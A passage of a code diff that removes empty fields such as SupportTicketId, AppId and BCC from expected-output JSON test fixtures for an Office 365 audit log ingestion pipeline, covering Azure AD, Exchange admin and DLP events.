"00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -2406,7 +2388,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -2536,7 +2517,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -2666,7 +2646,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -2796,7 +2775,6 @@ "ObjectId": "00000003-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0ff1-ce00-000000000000", @@ -2926,7 +2904,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -3056,7 +3033,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -3186,7 +3162,6 @@ "ObjectId": "00000003-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0ff1-ce00-000000000000", @@ -3316,7 +3291,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -3446,7 +3420,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -3576,7 +3549,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -3706,7 +3678,6 @@ "ObjectId": "0f698dd4-f011-4d23-a33e-b36416dcb1e6", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "0f698dd4-f011-4d23-a33e-b36416dcb1e6", @@ -3835,7 +3806,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -3966,7 +3936,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Failed", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -4074,7 +4043,6 @@ ], "ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd", "ActorIpAddress": "67.43.156.13", - "ApplicationId": "", "AzureActiveDirectoryEventType": "1", "CreationTime": "2020-02-12T21:38:19", "ExtendedProperties": { @@ -4087,7 +4055,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -4211,7 +4178,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -4319,7 +4285,6 @@ ], "ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd", "ActorIpAddress": "67.43.156.15", - "ApplicationId": "", "AzureActiveDirectoryEventType": "1", "CreationTime": "2020-02-09T15:30:58", "ExtendedProperties": { @@ -4332,7 +4297,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -4457,7 +4421,6 @@ "ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013", "RecordType": "15", "ResultStatus": "Failed", - "SupportTicketId": "", "Target": [ { "ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013", @@ -4565,7 +4528,6 @@ ], "ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd", "ActorIpAddress": "67.43.156.15", - "ApplicationId": "", "AzureActiveDirectoryEventType": "1", "CreationTime": "2020-02-10T15:14:25", "ExtendedProperties": { @@ -4578,7 +4540,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -4703,7 +4664,6 @@ "ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013", "RecordType": "15", "ResultStatus": "Failed", - "SupportTicketId": "", "Target": [ { "ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013", @@ -4833,7 +4793,6 @@ "ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013", @@ -4963,7 +4922,6 @@ "ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013", @@ -5071,7 +5029,6 @@ ], "ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd", "ActorIpAddress": "67.43.156.13", - "ApplicationId": "", "AzureActiveDirectoryEventType": "1", "CreationTime": "2020-02-12T21:39:45", "ExtendedProperties": { @@ -5084,7 +5041,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -5209,7 +5165,6 @@ "ObjectId": "797f4846-ba00-4fd7-ba43-dac1f8f63013", "RecordType": "15", "ResultStatus": "Failed", - "SupportTicketId": "", "Target": [ { "ID": "797f4846-ba00-4fd7-ba43-dac1f8f63013", @@ -5339,7 +5294,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -5469,7 +5423,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -5599,7 +5552,6 @@ "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0ff1-ce00-000000000000", @@ -5707,7 +5659,6 @@ ], "ActorContextId": "b86ab9d4-fcf1-4b11-8a06-7a8f91b47fbd", "ActorIpAddress": "67.43.156.15", - "ApplicationId": "", "AzureActiveDirectoryEventType": "1", "CreationTime": "2020-02-06T09:28:04", "ExtendedProperties": { @@ -5720,7 +5671,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -5844,7 +5794,6 @@ "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0ff1-ce00-000000000000", @@ -5974,7 +5923,6 @@ "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0ff1-ce00-000000000000", @@ -6104,7 +6052,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -6234,7 +6181,6 @@ "ObjectId": "00000004-0000-0ff1-ce00-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000004-0000-0ff1-ce00-000000000000", @@ -6364,7 +6310,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -6494,7 +6439,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -6624,7 +6568,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -6754,7 +6697,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -6884,7 +6826,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -7014,7 +6955,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -7144,7 +7084,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -7274,7 +7213,6 @@ "ObjectId": "00000002-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000002-0000-0000-c000-000000000000", @@ -7404,7 +7342,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -7534,7 +7471,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -7664,7 +7600,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -7794,7 +7729,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -7924,7 +7858,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -8054,7 +7987,6 @@ "ObjectId": "00000003-0000-0000-c000-000000000000", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "00000003-0000-0000-c000-000000000000", @@ -8184,7 +8116,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -8314,7 +8245,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -8444,7 +8374,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -8574,7 +8503,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -8704,7 +8632,6 @@ "ObjectId": "5f09333a-842c-47da-a157-57da27fcbca5", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "5f09333a-842c-47da-a157-57da27fcbca5", @@ -8834,7 +8761,6 @@ "ObjectId": "Unknown", "RecordType": "15", "ResultStatus": "Succeeded", - "SupportTicketId": "", "Target": [ { "ID": "Unknown", @@ -8899,4 +8825,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json index 55d9c3a9fbf..392d2aa5ef4 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-bad-ips.json-expected.json @@ -243,4 +243,4 @@ ] } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json index 0e9a27d2713..55755dbab65 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-duplicated-querytime-events.json-expected.json @@ -97,4 +97,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json index dbeb35a0e75..da90020bda4 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-data-insights-api-events.json-expected.json @@ -415,4 +415,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json index cbfd41c3573..3ee10a281ba 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-exchange-events.json-expected.json @@ -39,7 +39,6 @@ "audit": { "CreationTime": "2020-02-24T20:11:15", "ExchangeMetaData": { - "BCC": [], "CC": [ "asr@example.net" ], @@ -210,7 +209,6 @@ "audit": { "CreationTime": "2020-02-24T20:11:15", "ExchangeMetaData": { - "BCC": [], "CC": [ "asr@example.net" ], @@ -384,7 +382,6 @@ "Reason": "{ \"Justification\": \"I really need to share those files\" }" }, "ExchangeMetaData": { - "BCC": [], "CC": [ "asr@example.net" ], @@ -558,7 +555,6 @@ "FalsePositive": true }, "ExchangeMetaData": { - "BCC": [], "CC": [ "asr@example.net" ], @@ -729,7 +725,6 @@ "audit": { "CreationTime": "2020-02-24T20:11:15", "ExchangeMetaData": { - "BCC": [], "CC": [ "asr@example.net" ], @@ -934,4 +929,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json index 0fd072146c2..d4d99616eaa 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-dlp-sharepoint-events.json-expected.json @@ -42,7 +42,6 @@ "PolicyName": "U.S. Financial Data", "Rules": [ { - "ActionParameters": [], "Actions": [ "NotifyUser" ], @@ -259,7 +258,6 @@ "PolicyName": "U.S. Financial Data", "Rules": [ { - "ActionParameters": [], "Actions": [ "NotifyUser" ], @@ -779,4 +777,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json index 40bc7b5045d..76bf468b441 100644 --- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json +++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-admin-events.json-expected.json @@ -29,13 +29,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:49", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}", "Parameters": { - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}" }, "RecordType": "1", @@ -96,8 +93,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -176,8 +171,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:03", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -256,13 +249,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:09", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\2c6709f0-beaf-4ffd-99ea-d02c796c25d3", "Parameters": { - "DomainController": "", "Organization": "testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -323,13 +313,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:09", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings", "Parameters": { - "DomainController": "", "Organization": "testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -390,13 +377,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:13", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Transport Settings", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com", "OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com" }, @@ -458,8 +442,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:43", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}", @@ -527,8 +509,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:34", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\OwaMailboxPolicy-Default", @@ -594,8 +574,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:20", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -674,8 +652,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:17", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -754,14 +730,11 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:04", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com", "Parameters": { "DoNotUpdateRecipients": "True", - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -822,8 +795,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:58", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -902,8 +873,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -982,8 +951,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:09", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -1062,8 +1029,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:15", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -1142,8 +1107,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:09", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}", @@ -1222,8 +1185,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:18", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/TenantAllowBlocLists_F0767F09-6B4C-4F78-9234-2C0481176063", @@ -1302,13 +1263,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:55", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com", "Parameters": { - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -1369,13 +1327,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:13", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Transport Settings", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com", "OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com" }, @@ -1437,13 +1392,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:08", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Transport Settings", "Parameters": { - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com", "SupervisionTags": "Reject;Allow" }, @@ -1505,13 +1457,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:55", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com", "Parameters": { - "DomainController": "", "Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com" }, "RecordType": "1", @@ -1572,13 +1521,10 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:52", "ExternalAccess": true, "ObjectId": "testsiem.onmicrosoft.com\\Transport Settings", "Parameters": { - "DomainController": "", "Identity": "testsiem.onmicrosoft.com", "OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com" }, @@ -1640,8 +1586,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:49", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}", @@ -1720,8 +1664,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:18", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/TenantAllowBlocLists_F0767F09-6B4C-4F78-9234-2C0481176063", @@ -1800,8 +1742,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:56", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -1880,8 +1820,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:17", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -1960,8 +1898,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:57", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}", @@ -2040,8 +1976,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:16", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}", @@ -2120,8 +2054,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:20", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -2200,8 +2132,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}", @@ -2280,8 +2210,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:48:44", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136", @@ -2362,8 +2290,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -2442,8 +2368,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-10T07:37:14", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -2522,8 +2446,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:20", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -2602,8 +2524,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:08", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -2682,8 +2602,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", "CreationTime": "2020-02-07T20:49:20", "ExternalAccess": true, "ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}", @@ -2762,8 +2680,6 @@ }, "o365": { "audit": { - "AppId": "", - "ClientAppId": "", 